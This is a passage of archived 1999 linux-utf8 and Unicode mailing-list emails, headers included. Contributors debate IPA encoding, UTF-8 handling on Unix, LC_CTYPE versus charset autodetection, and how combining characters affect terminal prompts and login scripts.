ambiguity. Say you have some African language which uses an IPA-influenced orthography, will you use LATTIN SMALL LETTER A or your new homoglyph LATIN SMALL LETTER A WITH HOOK here? >I believe, the conclusion is that we should not think in terms of being able to add IPA highly consistently to every font there is. Only a few font styles are really useful for being extended into good IPA fonts, so if you write dictionaries, linguistic textbooks, etc., you should make sure you use one of these font styles. Do not expect that every Unicode font will contain every Unicode character in high quality. Unicode should be more seen as a scheme to encode characters, not as a repertoire that from now on every font has to cover entirely. I agree that we probably don't want every font to be used for IPA. But there still is an issue of encoding ambiguity when dealing with plain text. Perhaps the answer, though, is that, strictly speaking, plain text is effectively meaningless. Knowing the encoding tells you how to get one level of semantics, i.e. how to translate the bytes into abstract characters, but you still don't know what the sequence of characters mean in terms of any human language until the language is identified. If you get a plaintext file and it contains ""See Dick run."" Then you'll make an assumption about the intended language, and that assumption will probably be valid. But it's an assumtion nontheless. When there is real potential ambiguity, there is no recourse but to provide some markup: See Dick run. (undoubtedly means something derogatory about the listener's grandmother). If the plaintext happens to mix text in IPA and text a language that uses U+0061, then if there is confusion it may be necessary to have markup along the lines of The Blahurg word for ... pronounced, "" ...a... "", and means ... upset. Of course, I probably wouldn't complain if there was a separate character LATIN IPA SMALL LETTER A that disambiguated this for plain text. (Nobody should be confused about the purpose of a character with such a name.) Ditto for other cases. >For every font style, there are Unicode characters that will not go well with it. High-quality fonts will therefore always be Unicode subsets only, and applications such as Web browsers who can prevent certain characters from being used in certain style contexts will brutally fall-back to other styles (e.g., pick math operators from the upright font even inside italic text). So let it be written; so let it be done. Peter 18-Sep-99 9:42:10-GMT,4286;000000000001 Return-Path: Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id FAA27963 for ; Sat, 18 Sep 1999 05:42:09 -0400 (EDT) Received: by humbolt.nl.linux.org id ; Sat, 18 Sep 1999 11:41:51 +0200 Received: from deimos.worldonline.nl ([195.241.48.136]:57730 ""EHLO deimos.worldonline.nl"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Sat, 18 Sep 1999 11:41:14 +0200 Received: from moolenaar.net (vp208-34.worldonline.nl [195.241.208.34]) by deimos.worldonline.nl (8.8.5/8.8.5) with ESMTP id LAA11606; Sat, 18 Sep 1999 11:41:11 +0200 (MET DST) Received: from masaka.moolenaar.net (localhost.moolenaar.net [127.0.0.1]) by moolenaar.net (8.9.1/8.9.1) with ESMTP id LAA00348; Sat, 18 Sep 1999 11:58:07 +0200 (CEST) Message-Id: <199909180958.LAA00348@moolenaar.net> To: Markus Kuhn Cc: linux-utf8@humbolt.geo.uu.nl Subject: Re: UTF-8 line feeds versus LS/PS In-Reply-To: From: Bram Moolenaar Date: Sat, 18 Sep 1999 11:58:07 +0200 X-Orcpt: rfc822;linux-utf8@humbolt.geo.uu.nl Sender: owner-linux-utf8@humbolt.geo.uu.nl Precedence: bulk Reply-To: linux-utf8@humbolt.geo.uu.nl Markus Kuhn wrote: > Side remark: > > It would indeed be nice to also introduce under Unix a text format, > where paragraphs are formatted at display time (like Word does), and > where soft linebreaks inside paragraphs are not saved to the file. The > main advantage here is that diffs become significantly compacter > (assuming they would operate on byte ranges, not on lines), because > changing a few words followed by reformatting a paragraph moves around > all these LF bytes that then the revision control system has to take > track of, which is not very elegant at the moment. > > It would indeed be very helpful, if emacs, vim, less, etc. had a mode > similar to the Windows notepad and Word, where paragraphs are > essentially long lines without any LF in them. LF-free paragraphs would > especially be convenient for editing plaintext-files that will later be > reformatted anyway and where line length doesn't matter at all, e.g. > HTML and TeX. This is true. The reason Vim doesn't support automatic paragraph formatting is that there is no ""soft"" line separator. I'm glad there is something we can agree on! You can work with single-line paragraphs in Vim by setting the 'linebreak' option. This might be the mode you are looking for. See "":help 'linebreak'"" for more information. One disadvantage is that the width of the wrapped lines depends on the width of the terminal. If you view the file on a different terminal it may look different. It might be different again when you print it. That might not always be what you want. Wordstar (do you remember that?) had a soft linebreak character for this (CR with the 8th bit set). But only Wordstar supported it, thus it wasn't very useful. You always had to print the file from Wordstar. > However, all this is again *completely* independent and orthogonal to > Unicode. Unformatted plain-text files would also be nice with just > ASCII, and LF is as good a paragraph separator as Unicode's PS. I'd > rather not use LS and PS at all on POSIX systems, because it would break > a tremendous amount of software, even though I do appreciate that the > clearly-defined LS/PS semantics does have its attractions and is much > nicer in UCS-2 files than the historic CR/LF/NL mess. Just using NL should work fine. As far as I know LF is just another name for NL, it's the same character (hex 0x0A). A paragraph could be ended by an empty line (in the file that's a double NL). We could even recommend this. Perhaps we should add a note about this in appropriate places? -- hundred-and-one symptoms of being an internet addict: 102. When filling out your driver's license application, you give your IP address. --/-/---- Bram Moolenaar ---- Bram@moolenaar.net ---- Bram@vim.org ---\\-\\-- \\ \\ www.vim.org/iccf www.moolenaar.net www.vim.org / / - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 18-Sep-99 10:58:57-GMT,2849;000000000001 Return-Path: Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id GAA08685 for ; Sat, 18 Sep 1999 06:58:56 -0400 (EDT) Received: by humbolt.nl.linux.org id ; Sat, 18 Sep 1999 12:58:37 +0200 Received: from khms.westfalen.de ([193.174.5.20]:783 ""EHLO khms.westfalen.de"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Sat, 18 Sep 1999 12:58:13 +0200 Received: from root by khms.westfalen.de with local-bsmtp (Exim 3.03 #1) id 11SIBl-000423-00 (Debian); Sat, 18 Sep 1999 12:57:53 +0200 Received: by khms.westfalen.de (CrossPoint v3.11 R/C435); 18 Sep 1999 12:57:04 +0200 Date: 18 Sep 1999 10:56:00 +0200 From: kaih@khms.westfalen.de (Kai Henningsen) To: linux-utf8@humbolt.geo.uu.nl Message-ID: <7P6x5KJmw-B@khms.westfalen.de> In-Reply-To: Subject: Re: UTF-8 keyboard mode X-Mailer: CrossPoint v3.11 R/C435 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Organization: Organisation? Me?! Are you kidding? References: X-No-Junk-Mail: I do not want to get *any* junk mail. Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail. X-Fix-Your-Modem: +++ATS2=255&WO1 X-Orcpt: rfc822;linux-utf8@humbolt.geo.uu.nl Sender: owner-linux-utf8@humbolt.geo.uu.nl Precedence: bulk Reply-To: linux-utf8@humbolt.geo.uu.nl Andries.Brouwer@cwi.nl wrote on 18.09.99 in : > >From kaih: Mac example. > > Yes. For us this would be a bit more complicated, because people > really use the power of the keyboard handler. > Any key can be a modifier key, and people use for example F12 > to switch between a dvorak and a qwerty layout by loading > a large keymap where F12 is a locking shift. > Similar things are done by Greeks, Russians etc to switch between > character sets. I don't see why that would create any problem. The kernel knows what a modifier key is, right? IIRC, it already has a bitmap-type interface via IOCTLs. > I thought of having /dev/kbd with packets for the past 256 keystrokes > or so, where these packets are thrown away if no-one reads them. > You really want these bytes in the normal input stream? That's the only way it'll work over a telnet connection. > Sounds like a new keyboard state, and again difficult to get out of > if this program that understands the stream crashes. You could define a key sequence that restores the keyboard to normal mode. Something like Alt-SysReq-R ... uh, we already have that one. MfG Kai - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 18-Sep-99 16:45:52-GMT,6832;000000000001 Return-Path: Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA08272 for ; Sat, 18 Sep 1999 12:45:51 -0400 (EDT) Received: by humbolt.nl.linux.org id ; Sat, 18 Sep 1999 18:45:34 +0200 Received: from heaton.cl.cam.ac.uk ([128.232.32.11]:42246 ""EHLO heaton.cl.cam.ac.uk"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Sat, 18 Sep 1999 18:45:08 +0200 Received: from trillium.cl.cam.ac.uk ([128.232.8.5] helo=cl.cam.ac.uk ident=mgk25) by heaton.cl.cam.ac.uk with esmtp (Exim 3.01 #1) id 11SNbm-0004EV-00 for linux-utf8@humbolt.geo.uu.nl; Sat, 18 Sep 1999 17:45:06 +0100 X-Mailer: exmh version 2.0.2+CL 2/24/98 To: linux-utf8@humbolt.geo.uu.nl Subject: Re: Character set tagging considered harmful In-reply-to: Your message of ""Sat, 18 Sep 1999 14:23:48 +0200."" <199909181223.OAA00813@moolenaar.net> X-URL: http://www.cl.cam.ac.uk/~mgk25/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 18 Sep 1999 17:45:04 +0100 From: Markus Kuhn Message-Id: X-Orcpt: rfc822;linux-utf8@humbolt.geo.uu.nl Sender: owner-linux-utf8@humbolt.geo.uu.nl Precedence: bulk Reply-To: linux-utf8@humbolt.geo.uu.nl Bram Moolenaar wrote on 1999-09-18 12:23 UTC: > I wonder, is UCS-4 the maximum that is in use today? More than that. The UCS-2 range is the maximum in use today. There are no characters yet defined outside the range U+0000 to U+FFFD, which is known as ""Plane 0"" (except the so-called Plane-14 tags, which are not really part of Unicode). A plane is a 16-bit range with 2**16 code points. However, there do exist plans to fill Plane 1 with scripts that are of historic, cultural, hobbyist and scientific interest (Hierglyphics, Tengwar, Klingon, Blissymbolics, very exotic mathematical symbols, etc.). These are characters that are not urgently needed (there exists very little practice in encoding them on computers today if any at all), but it is nice to have them covered at least in theory as well. There are also plans to fill Plane 2 with thousands of historic CJK characters, to cover all characters found in some very comprehensive Asian dictionaries (again, also character not used on computers today). So it is good to be prepared for more than UCS-2. UTF-16 is an extension of UCS-2 that uses a pair of 16-bit characters from a high and low surrogate area in UCS-2 to represent characters in planes 1 to 16 (U+010000 to U+10FFFF). UTF-16 can cover a bit over 1 million characters. It has been agreed between the Unicode consortium and ISO that they will never standardize a character with a code > U+10FFFF. So UTF-16 will be able to encode everything that will come in the future. A code range of 1 million is commonly considered to be more then good enough. Plenty of room for contact with extraterrestrials ... ;-) > I need to reserve space for each character, thus I > would like to know if 4 bytes is enough. 4-bytes per character is *more* then enough per character. UCS is just a 31-bit character set after all, so a signed 32-bit int (that is what glibc's wchar_t is) will more then do. Even 3 bytes will last forever and 2-bytes would be OK so far if you are prepared to handle pairs of UTF-16 surrogate values as single characters. > The UTF-8 encoding might be longer, of course. No. Better have another careful look at how UTF-8 really works: http://www.cl.cam.ac.uk/~mgk25/unicode.html UTF-8 has no way of encoding characters more than 31-bit long. A 32-bit integer will be able to hold the value of any legal UTF-8 sequence. XFree86 xterm is restricted to the UCS-2 range by the way, as is the X11 font mechanism. My advice would be to try and keep UTF-8 as the in-memory encoding. Do not convert to a fixed-width encoding unless really necessary for table-lookups, etc. The self-synchronizing properties of UTF-8 make this very feasible. You can even preserve illegal UTF-8 sequences this way such that you loose no information if you load and save a binary file accidentally in UTF-8 mode. Mined98 is doing this nicely, as are a number of other existing UTF-8 editors. The plan for emacs is also to keep UTF-8 as the in-memory representation, in the interest of binary transparency. > Are you saying that it's not possible to detect UTF-8 encoding reliably? > Well, that's something that needs to be worked on! LC_CTYPE is the best detector you will ever get. It allows us so far to distinguish ISO_8859-15 from JISX0208, and I see no reason why it should suddenly fail on UTF-8. Everything else is just a heuristic. The self-synchronizing properties of UTF-8 make it more feasible to write a > 95% heuristic for UTF-8 then for other encodings, but you should be careful to apply such autodetection ONLY when the user didn't tell you explicitely via LC_CTYPE what the intended encoding is. The user must be able to reliably enforce interpretation of the file as UTF-8 for mission-critical applications, where the remaining risk of autodetection or tagging is not acceptable. I assure you, that UTF-8 files will not be tagged in any special way on POSIX systems. Just like ASCII and ISO 646-Swedish files were never tagged in any special way. Typed files are simply not the Unix way, for very good reasons. There will be no BOM or ESC 2022 announcer, and if there is one occasionally, it will either cause trouble or be lost after the next cut & paste, grep, tail, conversion, etc. This stuff is not robust in general. It might work in special restricted applications, but not more. The world is already full of UTF-8 files. Search for UTF-8 on dejanews, and you'll hit a hundred thousand postings, because Asian versions of Netscape and IE have been sending out UTF-8 files for years. > > We just want a toggle, between Mess and UTF-8. > > And we need to help the people that have to toggle all the time. Exactly, by offering them an option to leave the error-prone toggling and character-set guessing domain. > Switching to a single encoding is not an option for most people at this time, > since many files are Latin-1 encoded. The files are really not the problem. Files are very easily converted without loss of information. The problem are applications that can structurally not yet deal with files that can contain a million different characters. Most applications believe that there exist not more than 256 characters. That is the real problem. Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 21-Sep-99 14:01:11-GMT,3549;000000000005 Return-Path: Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA19778 for ; Tue, 21 Sep 1999 10:01:09 -0400 (EDT) Received: by humbolt.nl.linux.org id ; Tue, 21 Sep 1999 16:00:38 +0200 Received: from heaton.cl.cam.ac.uk ([128.232.32.11]:6151 ""EHLO heaton.cl.cam.ac.uk"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Tue, 21 Sep 1999 16:00:12 +0200 Received: from trillium.cl.cam.ac.uk ([128.232.8.5] helo=cl.cam.ac.uk ident=mgk25) by heaton.cl.cam.ac.uk with esmtp (Exim 3.01 #1) id 11TQSl-0006JZ-00 for linux-utf8@humbolt.geo.uu.nl; Tue, 21 Sep 1999 15:00:07 +0100 X-Mailer: exmh version 2.0.2+CL 2/24/98 To: linux-utf8@humbolt.geo.uu.nl Subject: Re: Character set tagging considered harmful In-reply-to: Your message of ""Tue, 21 Sep 1999 15:08:51 +0200."" <199909211308.PAA26748@mail.sietec.de> X-URL: http://www.cl.cam.ac.uk/~mgk25/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 21 Sep 1999 15:00:04 +0100 From: Markus Kuhn Message-Id: X-Orcpt: rfc822;linux-utf8@humbolt.geo.uu.nl Sender: owner-linux-utf8@humbolt.geo.uu.nl Precedence: bulk Reply-To: linux-utf8@humbolt.geo.uu.nl towo@computer.org wrote on 1999-09-21 13:08 UTC: > I think there is some confusion here. Auto-detection applies to text, > i.e. file contents, while I would assume LC_CTYPE to describe the > environment that we're running in, especially the terminal mode. > This doesn't need to be the same and if LC_CTYPE is used to define one > thing it should perhaps rather not be used to derive the other information > which is usually quite unrelated. I really think, they are the same, they were intended to be the same and in my opinion they really should be the same. I like cat file.txt to continue to work in our notion of plaintext also in the future, therefore we should always aim towards keeping the content of plain-text something that can be sent directly byte-for-byte to the terminal. Much of the current simplicity, elegance and power of the Unix plaintext world fundamentally depends on this. It won't be Unix any more if we start to introduce plaintext file types. (By the way, we had this exact same discussion already back in 1995 on comp.std.internat, should still be in dejanews.) How far do you want to implement autodetection? Do you want ""ls"" to autodetect, whether a filename is in Latin-2, Latin-15, JIS X0208 or UTF-8 and convert automatically accordingly? Character set autodetection, if it really became common-place under Unix, would mean that practically every application would have to be equipped with a full-fledged any-to-any conversion package. Horrible prospect. No, I really really think that separating the plain-text and terminal encoding is a rather dangerous route, that I most certainly will not support in any way. All this also has nothing to do with UTF-8, which is just yet another encoding and should be treated just as such. The entire autodetection or tagging business sounds to me very much like reinventing ISO 2022 with all its consequences. Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 28-Sep-99 14:15:08-GMT,3275;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id KAA15969 for ; Tue, 28 Sep 1999 10:15:07 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id KAA26042 for ; Tue, 28 Sep 1999 10:15:06 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id HAA25768 ; Tue, 28 Sep 1999 07:12:05 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id HAA03136; Tue, 28 Sep 1999 07:10:29 -0700 (PDT) Message-Id: <199909281410.HAA03136@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 9872 (1999-09-28 14:10:15 GMT) From: Frank da Cruz To: ""Unicode List"" Cc: unicode@unicode.org Date: Tue, 28 Sep 1999 07:10:14 -0700 (PDT) Subject: Re: A basic question on encoding Latin characters > Um, at that time the normalization hadn't been done. So at that time there > weren't _technical_ reasons for drawing a line at the normalization > border. The line was drawn after that time. It could have been > before. But it has been drawn and there had better be really good reasons > offered if we are not to respect it. > In interactive telecommunications, we have the following situation: 1. Host sends ""login:"" (or any other prompt). 2. User is supposed to type her ID (or any other response). When using Unicode, the terminal emulator may not print the final character of the prompt because it doesn't know yet whether any combining characters will follow. So the user doesn't know whether the host is ready to receive a response and therefore should not reply since in some cases (e.g. at the UNIX ""Password:"" prompt) an early response is discarded. If the process is being executed by a script, the script sits and waits; ""waitfor 'login:'"" will not succeed, since it can not be known whether 'login:' has arrived until the next base character after ':' comes, but no such character is coming (I realize it is silly to expect a colon to have an accent but those are the rules -- and not all prompts end with colon). There is no escape from this situation other than introduction of a ""higher level protocol"" to signal ""ok, I'm finished transmitting, now it's your turn"", just like in the old half-duplex days. This is the kind of reason that telecommunications-oriented applications seem to be steering away from the Normalization Form D model, however appropriate it might be in other areas, and embracing Normalization Form C (ISO 10646 Level 1) and, by extension, precomposed characters, as we have seen in Plan 9 and now, it seems, Linux. I don't think this indicates recalcitrance or West European bias in UNIX culture as much as a desire to preserve telecommunications and the terminal/host model as a viable interface between human and machine in the Unicode age, as it has been since beginning of the computer age. I also think it's no accident that Unicode is best supported on those platforms that have eschewed the terminal/host access model. - Frank 28-Sep-99 18:24:11-GMT,7794;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA03161 for ; Tue, 28 Sep 1999 14:24:09 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA19282 for ; Tue, 28 Sep 1999 14:24:08 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id LAA48012 ; Tue, 28 Sep 1999 11:22:08 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id LAA06555; Tue, 28 Sep 1999 11:18:45 -0700 (PDT) Message-Id: <199909281818.LAA06555@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 9885 (1999-09-28 18:18:30 GMT) From: Frank da Cruz To: ""Unicode List"" Date: Tue, 28 Sep 1999 11:18:29 -0700 (PDT) Subject: RE: A basic question on encoding Latin characters Marco.Cimarosti@icl.com wrote: > I am not sure if I understood very well, but seems to me that you are > basing your observation on the very peculiar behavior of your application. > Not peculiar -- this is how open and shared access to computers has worked since the 1960s: the interactive dialog model, prompt and command. > I understand that your hypotetical terminal software is trying to render > Unicode text as soon as it arrivers, CHARACTER BY CHARACTER. > That's how terminals work. If the host sends a character, the user should see it on the screen immediately. As any maker of terminal emulation software can tell you, users are surprisingly intolerant of delays, even very small ones. The acid test is echoing in the full-duplex environment. I press the 'A' key, the code for 'A' goes to the host and then comes back to be displayed on the screen as an 'A'. This must be instantaneous. Or, to put it another way, a terminal is not a Web browser. > But there is no need of exotic alphabets or combining accents to screw up > your design: sticking to good old ASCII, what would your modem script do > if the prompt ""login:"" was translated in the Italian ""codice d'accesso:""? > It would wait, I think, until the Italian government changes the > constitution to drop Italian and adopt English as the official language. > True, but the fact remains that a very large number of scripting applications exist and are used every day in the real world, and they are used in ""mission-critical"" applications too. It is ""a way of doing business"" in a world where platforms such as UNIX, VMS, VOS, VM/CMS, MVS/TSO, and OS/400 still exist and may be accessed openly. Modems themselves are controlled almost exclusively by scripts (how do you think your PPP dialer works?). The business of Unicode is not to promote certain styles of computing and obliterate others; it is to provide a universal character set that can be used in any application. > If such a medieval design cannot be avoided because of technical > constraints, it would be wiser, in my mind to do one of the following: > > - support Unicode only after login; > Login is just one example. A terminal session with a UNIX (VMS, VOS, etc) host is an arbitrary series of prompts and commands. > - impose that the prompt and the answer be on separate lines: in this > case, the line terminator character(s) would act as the ""higher level > protocol"" to signal ""ok, I'm finished transmitting, now it's your turn"" > that you suggested; > A proposal to change all of the world's hosts is not practical. Even if this were done, it would break all the world's scripts :-) > - re-ingeneer entirely the login and terminal software using more > up-to-date techniques. > Of course many people believe the answer is to modernize everything. But today this means replacement of simple, proven, and open means of access with proprietary and unstable ones. Fran�ois Yergeau wrote: > There is no good reason for the terminal not to print the final character > when received. If a combining character comes later, the terminal simply > has to redisplay the combination over the previous glyph. This is what our > Arabic terminals and emulators have been doing for years (e.g. receive an > Arabic letter and display it in final form; receive another letter, > redisplay the previous one in middle form and the new one in final form). > Yes, we discussed this here before; there are complications with line wrapping, scrolling regions, etc, but to overcome them is a ""mere matter of programming"". > >There is no escape from this situation other than introduction of a ""higher > >level protocol"" to signal ""ok, I'm finished transmitting, now it's your > >turn"", just like in the old half-duplex days. > > Well, it seems to me that the login protocol *is* a higher level protocol > w/r Unicode. > Again, the login process is only one element of a session consisting of an arbitrary sequence of prompts and responses. > If the protocol says that ""login:"" is to be acted upon, I don't see why > the terminal-side script couldn't act on it without waiting for eventual > combining characters that won't be coming. There's no use in waiting for > the next base character, the triggering string has been received. > But then is the application ""Unicode compliant""? But more to the point (bearing in mind that we are speaking not just of logging in, but any prompt and response), if we ignore the possibility that combining characters might follow the trigger string, then we can have ""false positives"", or for that matter also false negatives. ""Mark E. Davis"" wrote: > We should make it very clear that Normalization Form C does *not* > eliminate combining characters. It does precompose them where possible, > but for many scripts and characters it is not possible, or desireable. > Yes, this is spelled out very clearly in the technical report. In this way Unicode Normalization Form C differs from ISO 10646 Implementation Level 1, in which ""a CC element shall not contain coded representations of combining characters"". I think this more accurately represents the position taken by the authors of Plan 9 and (correct me if I'm wrong) those working on the Linux console and UTF-8 xterm. > Exactly the same problem that you discuss occurs with any script that > requires shaping. When I type an Arabic character, the previous character > needs to change shape. What the terminal needs to do is replace the glyph > on the screen with a different form. As I recall from my terminal days, > the controls for doing this are available. The same technique can be used > for accents. Type an A, see an A. Then type an umlaut, and the host picks > it up, decides that it needs a composed presentation form, and replaces > the A by � on the screen. Of course, the display on the terminal still > depends on the ''font"" that it has, which may or may not allow dynamic > composition, but fundamentally I don't see the problem. > The real problem comes in scripting. Scripts are a method of forcing intrinsically noncooperating processes to cooperate. Suppose a script is looking for ""ABC"", and ABC comes. If the next character will be a combining cedilla, this would not be a match. But if no more characters are coming (e.g. until there is some kind of response) then it would be, but how can the script know? The best we can do is set a timeout period that is long enough to allow for the longest possible intercharacter spacing on the busiest day of the Internet and hope we haven't guessed wrong. And even if we haven't, this technique would cause every match to consume the entire timeout interval. - Frank 28-Sep-99 19:12:24-GMT,6409;000000000011 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA13696 for ; Tue, 28 Sep 1999 15:12:22 -0400 (EDT) Received: from halon.sybase.com (halon.sybase.com [192.138.151.33]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA06997 for ; Tue, 28 Sep 1999 15:12:19 -0400 (EDT) Received: from smtp1.sybase.com (sybgate.sybase.com [130.214.220.35]) by halon.sybase.com with ESMTP id MAA25099; Tue, 28 Sep 1999 12:11:20 -0700 (PDT) Received: from birdie.sybase.com (birdie.sybase.com [130.214.140.3]) by smtp1.sybase.com with SMTP id MAA19920; Tue, 28 Sep 1999 12:12:14 -0700 (PDT) Received: by birdie.sybase.com (5.x/SMI-SVR4/SybEC3.5) id AA12713; Tue, 28 Sep 1999 12:12:13 -0700 Date: Tue, 28 Sep 1999 12:12:13 -0700 From: kenw@sybase.com (Kenneth Whistler) Message-Id: <9909281912.AA12713@birdie.sybase.com> To: fdc@watsun.cc.columbia.edu Subject: RE: A basic question on encoding Latin characters Cc: unicode@unicode.org, kenw@sybase.com X-Sun-Charset: ISO-8859-1 Frank continued this discussion: > > > If the protocol says that ""login:"" is to be acted upon, I don't see why > > the terminal-side script couldn't act on it without waiting for eventual > > combining characters that won't be coming. There's no use in waiting for > > the next base character, the triggering string has been received. > > > But then is the application ""Unicode compliant""? Of course it is. If the application is waiting for ""login:"", it is not waiting for ""login:"" with an acute accent on the colon. It is interpreting what it is supposed to, given the characters encoded at the code values they have. If the communicator then sends a combining acute accent, that is a *protocol* error, not a Unicode compliance problem. > But more to the point > (bearing in mind that we are speaking not just of logging in, but any prompt > and response), if we ignore the possibility that combining characters might > follow the trigger string, then we can have ""false positives"", or for that > matter also false negatives. Once again, this would be a *protocol* error. If the communication protocol is waiting for ""xxxx�"", then it should act when it receives the final ""�"" as a unit, or if it has received an ""a"", then it should act when it receives the final combining acute accent. And ordinarily the communication protocol should specify a normalized form, so it doesn't have to deal with alternative forms as equivalent for these purposes. And many of these call/response protocols wait for a control code as the trigger anyway, right? Very often the EOL. Otherwise they are rather badly behaved, for interactive work anyway, since a host would then always be sending bad typists irrelevant error messages without letting them backspace and correct their errors before committing to send a chunk for interpretation as a response/command/whatever. > > ""Mark E. Davis"" wrote: > > We should make it very clear that Normalization Form C does *not* > > eliminate combining characters. It does precompose them where possible, > > but for many scripts and characters it is not possible, or desireable. > > > Yes, this is spelled out very clearly in the technical report. In this way > Unicode Normalization Form C differs from ISO 10646 Implementation Level 1, > in which ""a CC element shall not contain coded representations of combining > characters"". I think this more accurately represents the position taken by > the authors of Plan 9 and (correct me if I'm wrong) those working on the > Linux console and UTF-8 xterm. And as the Unicoders have continually pointed out, Implementation Level 1 is a crutch for brain-damaged implementations that cannot handle anything complex. It rules out support for all of the complex scripts of the world. It does, however, do a reasonable job of covering Europe and East Asia, aside from some minority languages. Hmmm. Sound like a recipe for maintaining the computing access status quo to anyone? > > > Exactly the same problem that you discuss occurs with any script that > > requires shaping. When I type an Arabic character, the previous character > > needs to change shape. What the terminal needs to do is replace the glyph > > on the screen with a different form. As I recall from my terminal days, > > the controls for doing this are available. The same technique can be used > > for accents. Type an A, see an A. Then type an umlaut, and the host picks > > it up, decides that it needs a composed presentation form, and replaces > > the A by � on the screen. Of course, the display on the terminal still > > depends on the ''font"" that it has, which may or may not allow dynamic > > composition, but fundamentally I don't see the problem. > > > The real problem comes in scripting. Scripts are a method of forcing > intrinsically noncooperating processes to cooperate. Suppose a script is > looking for ""ABC"", and ABC comes. If the next character will be a combining > cedilla, this would not be a match. But if no more characters are coming > (e.g. until there is some kind of response) then it would be, but how can > the script know? By the EOL or other end-of-content marking built into the protocol. How many of these script protocols can you point to that really are sitting posed hair-triggered forever waiting for the right (character) byte to come down the wire? Or if they are, isn't the triggering character usually a control delimiter of some sort? If you are worried about false positives for some string followed by a combining character, why not that same string followed by *ANY* character. You would have to guarantee that no long response has any prefix that could be misinterpreted (before the response was completely received) as a shorter response. > The best we can do is set a timeout period that is long > enough to allow for the longest possible intercharacter spacing on the > busiest day of the Internet and hope we haven't guessed wrong. Why isn't this exactly the same problem for any prefix of any response, even without combining characters? > And even if > we haven't, this technique would cause every match to consume the entire > timeout interval. Sounds like a purty flimsy strawman to me. --Ken > > - Frank > 28-Sep-99 20:24:53-GMT,4492;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA03196 for ; Tue, 28 Sep 1999 16:24:52 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA24140 for ; Tue, 28 Sep 1999 16:24:49 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id NAA68116 ; Tue, 28 Sep 1999 13:20:25 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id NAA08207; Tue, 28 Sep 1999 13:16:17 -0700 (PDT) Message-Id: <199909282016.NAA08207@unicode.org> Errors-To: root@unicode.org X-UML-Sequence: 9892 (1999-09-28 20:16:05 GMT) From: Frank da Cruz To: ""Unicode List"" Cc: unicode@unicode.org Date: Tue, 28 Sep 1999 13:16:04 -0700 (PDT) Subject: RE: A basic question on encoding Latin characters Ken wrote: > Sounds like a purty flimsy strawman to me. > It might well be. > > But if no more characters are coming > > (e.g. until there is some kind of response) then it would be [a match], > > but how can the script know? > > By the EOL or other end-of-content marking built into the protocol. > But there is no protocol. Most prompts do not end with an EOL. A script is by nature an attempt to codify human behavior in a stimulus-response situation. The stimuli are designed for people, not protocols, and in any case are usually not changeable (maybe you can change them, but as soon as you do be prepared for screams of agony to go up from the masses who, unbeknownst to you, depend for the livelihood on the prompts not changing). Thus the script must adapt to whatever is on the other end of the connection. If the prompt is ""login:"" with no EOL, we can't force an EOL to come; ditto for other dialog situations in which the prompt more likely to end with some character that might reasonably be followed by a combining character (or not). > ... ordinarily the communication > protocol should specify a normalized form, so it doesn't have to deal > with alternative forms as equivalent for these purposes. > I believe this is what telecommunications-oriented platforms and/or applications are doing when they avoid the issue of combining forms by saying they don't support them. > ... as the Unicoders have continually pointed out, Implementation Level 1 > is a 